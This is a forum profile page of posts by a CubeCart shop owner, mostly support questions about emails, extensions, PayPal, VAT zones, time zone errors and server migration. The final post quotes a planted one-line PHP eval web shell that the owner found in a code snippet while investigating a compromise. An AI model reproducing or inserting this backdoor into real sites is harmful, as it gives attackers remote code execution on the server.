Jump to content

Robin Somes

  • Posts

  • Joined

  • Last visited

  • Days Won


Everything posted by Robin Somes

  1. Site: piscesconservation.com/cube CC 6.4.4 / AllInOneShipping 10.0.22 / Facebook 1.0.1 / PayPal Commerce Platform 1.4.11 / PayPal Standard Gateway 1.0.8 (disabled) / ProductAddons 1.0.12 / SagePay 1.0.11 When I re-send the "Your Purchase Downloads" email from the shop (Dashboard: Reporting: Email Log), I would like to be able to edit the To: address, but it appears I cannot. Customer makes a purchase of a digital item and gives his email address as [email protected] Doesn't receive either the "Your Purchased Downloads" or "Order Confirmation" emails, most likely because of an over-zealous spam filter somewhere. He emails me to complain that he's still waiting for the software he bought, and suggests I email the link to [email protected] instead. Now, I can change his email address in his billing details (Dashboard: Orders: {ORDER NO.}: Billing: Contact Details). However, that makes no difference to the address used in resending previous emails. Nor does it appear to be possible to edit anything other than the email content in Dashboard: Documents: Email Contents & Templates: Your Purchased Downloads. Is there any way to achieve this? Many thanks, Robin
  2. CC6.2.9 / All In One Shipping 1.0.19 / Facebook 1.0.1 / PayPal Commerce Platform 1.3.20 / PayPal standard commerce platform 1.08 (disabled) / ProductAddons 1.0.12 / SagePay 1.0.11 site: piscesconservation.com/cube Is it possible to add a column to the exported Sales Report to show, for each order, what items have been purchased? TIA, Robin
  3. Happy to report that the Extension Update notification is now working - whatever has been tweaked at CCHQ has taken effect. Thanks again Robin
  4. To answer your original question. The database without the Cubecart_extension_info table: CubeCart_inventory has a new column: 'latest' - NO CubeCart_order_history has a new column 'initiator' - NO CubeCart_coupons has a new column 'free_shipping' - NO CubeCart_email_log is a new table - NOT PRESENT CubeCart_extension_info is a new table - NOT PRESENT CubeCart_coupons has a new column 'email_sent' - NO I now have a better understanding of what's happened. Digging further into phpMyAdmin, I have 3 Cubecart databases (image attached below). The first in the list, 'cubecart', is the one with the missing table. This was our original shop, set up in June 2015 running CC 6.0.5, and updated to CC 6.0.6 the same month. That ran, more or less smoothly, until April 24th 2018, when our former ISP moved us from their legacy hosting to a new cloud platform. At that point I enlisted Al to migrate the site to the new platform; he installed the then current version 6.1.15 - this is where the other two databases, db{code}_cubecart and db{code}_cubecarttest arrived - and imported all the site contents. The site has therefore been running (albeit with a change in hosting company in September 2018), using db{code}_cubecart, from April 24th 2018 until now. This database does have all the requisite tables. To sum up: cubecart: - ran from June 2015 to 23/04/2018; last installed CC version 6.0.6, has not been in use since 23/04/2018. db{code}_cubecart: set up 24/04/2018 using CC 6.1.15, in use ever since, regularly updated to latest CC version. db{code}_cubecarttest: - set up 24/04/2018 using CC 6.1.15, never used. As with the other site I brought up last night, I never stay logged in to Admin for very long. Any suggestion as to how to proceed from here would be appreciated. As Ian from Havenswift suggested above, perhaps some slight misconfiguration of the hosting environment is causing the notifications not to appear? Robin
  5. It's taken a while to get back to this, but... I have two databases, titled db{code}_cubecart and db{code}_cubecart_test. _cubecart does not contain a table called CubeCart_extension_info. _cubecart_test does, but that table appears to be empty - see the attached image. I'm not clear how the upgrade notification can have been working X months ago, yet isn't now. The latest upgrade from CC 6.2.5 to 6.2.9 I did myself in May, by backing up, then using the "Upgrade Now" option (or whatever it's called) from the Dashboard, then copying over the few modified components. The previous upgrades, and migration from our former ISP, were done by Al. To the best of my knowledge, I've always installed and updated extensions using the thunderbolt code. My obvious guess is that notifications ceased working after i upgraded to 6.2.9 in May - though I know not how. The question is, where to go from here? Robin
  6. Unfortunately, not the case here; I've always (at least within living memory) upgraded using the thunderbolt key. I *did* get a couple of notifications, and thought "that's useful, cool", but that was at least 4 or 5 months ago. Nothing since.
  7. Most odd, because it's distinctly not working for me; I have to open the Manage Extensions section of the dashboard, and search for each extension in turn in the marketplace, to find if I have the latest version. Would it be possible for it to become disabled on upgrading to CC 6.2.9, which I did back in May? And if so, how to re-enable it?
  8. CC6.2.9 / All In One Shipping 1.0.18 / Facebook 1.0.1 / PayPal Commerce Platform 1.3.20 / PayPal standard commerce platform 1.08 (disabled) / ProductAddons 1.0.12 / SagePay 1.0.11 Site: piscesconservation.com/cube Is the extension update notification facility in CC no longer operating? I clearly remember it working, for a while at least, and now it's not, with no conscious input on my part. TIA, Robin
  9. As it turns out, so am I! Not sure how those 6 updated versions escaped my attention. Just updated; I'll wait and see what difference that makes.
  10. CC6.2.9 / All In One Shipping 1.0.16 / Facebook 1.0.1 / PayPal Commerce Platform 1.3.10 / PayPal standard commerce platform 1.08 (disabled) / ProductAddons 1.0.12 / SagePay 1.0.11 Site: piscesconservation.com/cube I'm seeing some odd behaviour with the PayPal Commerce Platform. Looking at the Order Summary tab for some orders, the Shipping Information field states Gateway: paypal commerce, while on other orders, the field is blank (comparison, see Example 1 below). For each order, I get a PayPal email, but the emails are different. When Gateway: paypal commerce is present on the order summary, the PayPal email is from <[email protected]>; with the sub-title "You've Received New Funds!" (Example 2 below). When there's no gateway information on the order summary, the email comes from {Customer Name} via PayPal <[email protected]>, and the email is a completely different format. (Example 3). When there's no gateway information on the order summary, it is also missing from the detailed sales report information available as a .csv download from the Reports section of CubeCart (Example 4). In all cases, the payments come through to PayPal OK. However, there's a correlation with the information in the detailed transaction logs from PayPal. Orders which do have Gateway: paypal commerce on the CC order summary do not have data in the From Email Address and Contact Phone Number fields of the PayPal transaction log. Orders for which those two fields are filled in the PayPal log do not have Gateway: paypal commerce on the CubeCart order summary. And, orders where the From Email Address and Contact Phone Number fields of the PayPal transaction log are filled, do not have data in the Receipt ID field. And vice versa - see Example 5. It's all a bit confusing...
  11. site: piscesconservation.com/cube CC6.2.9 / All In One Shipping 1.0.16 / Facebook 1.0.1 / PayPal Commerce Platform 1.3.10 / PayPal standard commerce platform 1.08 / ProductAddons 1.0.12 / SagePay 1.0.11 I previously reported an issue getting the new PayPal Commerce Platform set up; attempting to link the platform to an existing PayPal account repeatedly failed. I believe a number of other users reported the same behaviour. I'm very happy to report that it is all now working; version 1.3.10 installed and functioning correctly. Many thanks to Al and the team for fixing the issue. Robin
  12. You're not alone; I (and others) have been encountering the same problem for several weeks. Luckily I have the previous version of PayPal Commerce already installed and working, but I'm trying to upgrade because the old version is superseded. Unfortunately, it appears that PayPal are not responding to requests for assistance from the developers of the extension. Nor are they answering requests for support from users (i.e. me). Their help page for a 500 error is, sadly, useless.
  13. I've got a customer in Reunion, an external department of France. Being an external department, she's not liable for VAT on purchases. However, if she enters the country as France, and county/region as Reunion, the site quite naturally adds VAT. There is a separate entry for Reunion in the drop-down list of countries (despite its not being a full-blown country), and if she uses that instead of 'France', then there is no VAT added. However, 1) It's not obvious that that is what she should do, and 2) I'm not sure the list of countries contains every last one of France's other external territories, if we should get an order from any of those in the future. I assume the solution is to use the Zones option: 1) Use Add Zone to create a long series of zones, one for mainland France, and one for each of France's many overseas possessions, with the correct abbreviation, and then 2) Tell CC that the French external zones are outside Europe and so don't attract VAT. This seems a little exhausting, and liable to create further problems with customers in mainland France who don't understand that they have to choose a zone, but if it's what I need to do, I'll do it. So, am I correct, and if so, how do I get CC to recognise when a zone is outside Europe and doesn't need VAT? Or is there an easier way to achieve it? TIA, Robin site: piscesconservation.com/cube CC6.2.9 / All In One Shipping 1.0.16 / Facebook 1.0.1 / PayPal Commerce Platform 1.3.8 / PayPal standard commerce platform 1.08 / ProductAddons 1.0.12 / SagePay 1.0.11
  14. Thanks Al, yes, I totally get that. Our issue really is that we've got at least 12 domains; the CubeCart shop, 3 or 4 Wordpress-based sites (I can't actually remember!) and the rest plain HTML-based. I think there would be some resistance, in terms of cost (since sales through the shop site are far from being our main source of income), and admin time, to having two separate hosting companies. And there's very limited time to devote to migrating all our sites to a new host. But for the longer term it's something we do need to consider and rationalise. Cheers, Robin
  15. An update to this issue. After several emails back and forth with my hosting company, they're not willing (for which read, they can't be bothered) to load the required system time zone table to the DB server, because "it will affect other customers". So be it; lazy attitude, but we're stuck with them for the time being, so for now I've disabled 'Timezone' in the store settings. No more countless error messages. Thanks for the help.
  16. Bit of a mixed thread here, I think. I do agree their first line of tech support tends to jump to conclusions about what the customer's asking for, which isn't ideal. But thankfully it's a different hosting company to Keat's - no such password madness, yet at least!
  17. Good point, and well made. Many thanks R
  18. My hosting co. say "We have changed the timezone to Europe/London.". Looking at the error logs, I'm still getting the errors, albeit at a much reduced rate. Today, 17:06 File: [controller.admin.pre_session.inc.php] Line: [26] "SET @@time_zone = 'Europe/London'" - Unknown or incorrect time zone: 'Europe/London' Today, 17:03 File: [controller.admin.pre_session.inc.php] Line: [26] "SET @@time_zone = 'Europe/London'" - Unknown or incorrect time zone: 'Europe/London' Today, 17:02 File: [controller.index.inc.php] Line: [27] "SET @@time_zone = 'Europe/London'" - Unknown or incorrect time zone: 'Europe/London' Today, 17:02 File: [controller.index.inc.php] Line: [27] "SET @@time_zone = 'Europe/London'" - Unknown or incorrect time zone: 'Europe/London' Today, 17:02 File: [controller.index.inc.php] Line: [27] "SET @@time_zone = 'Europe/London'" - Unknown or incorrect time zone: 'Europe/London' Looking at info.php for the site, I see: date date/time support enabled "Olson" Timezone Database Version 2018.9 Timezone Database external Default timezone Europe/London Directive Local Value Master Value date.default_latitude 31.7667 31.7667 date.default_longitude 35.2333 35.2333 date.sunrise_zenith 90.583333 90.583333 date.sunset_zenith 90.583333 90.583333 date.timezone Europe/London no value Is that as it should be?
  19. Many thanks; could you just clarify what the change is - I'll throw it over to my hosting company. Cheers, R
  20. Site: www.piscesconservation.com/cube CC 6.2.5 Foundation Looking at the Error Log section of the admin pages, I'm inundated with time zone errors. The error originates from August 18th; I'm not aware of that coinciding with anything I've done. I'm up to 51,225 error messages, across 2049 pages, so far, and they're arriving about every 2 seconds. Today, 13:26 File: [controller.admin.pre_session.inc.php] Line: [26] "SET @@time_zone = 'Europe/London'" - Unknown or incorrect time zone: 'Europe/London' Today, 13:26 File: [controller.index.inc.php] Line: [27] "SET @@time_zone = 'Europe/London'" - Unknown or incorrect time zone: 'Europe/London' Ad infinitum. Is it me, CubeCart or my ISP; any suggestions?
  21. Thank you, Al. The code changes are not especially complex, and I annotated them reasonably well at the time and kept copies of the amended files. The more complex issue (for me at least) is getting the site from our old legacy server - which isn't capable of running the more recent versions, hence all sorts of grief - to the new platform (which is hosted by the same ISP). Assuming your managed support plan is the advertised £40/month plus setup costs, that seems reasonable, so we'll likely go for that option, as soon as we've provisioned the new platform. Thanks again.
  22. We're very shortly moving our shop to a new server, and in the process, updating CC from the aged 6.06 (yes, I know...) to the most recent version. My assumption is that the process, simplified, should go more or less as follows: 1. Take backups of existing site. 2. Re-acquaint self with code modifications, and the reasons for them. 3. Install old version of CC on new server. 4. Import site from backups. 5. Re-apply code mods. 6. Ensure site is working and take more backups. 7. Update CC to the latest version. 8. Re-apply code mods. 9. Update plugins. Am I missing anything crucial? Shop: www.piscesconservation.com/cube CC: 6.0.6, Skin: Foundation, Plugins: All In One Shipping, Facebook, PayPal, ProductAddons, SagePay
  23. Just reading about 'eval' - specifically the bits about "don't use this thing under any circumstances whatsoever" and it does look that way. Downloading the whole site to see if I can work out which files have been attacked; I'll follow up the link you posted, thanks again. .
  24. There is one code snippet, entitled snippetuP6LO, triggered by controller.index. The code within it is: <?php eval($_REQUEST["uP6LO"]);?> I certainly haven't added this, but (since I've not looked at that section of the admin pages) I've no idea if it is intended to be there or not.
  • Create New...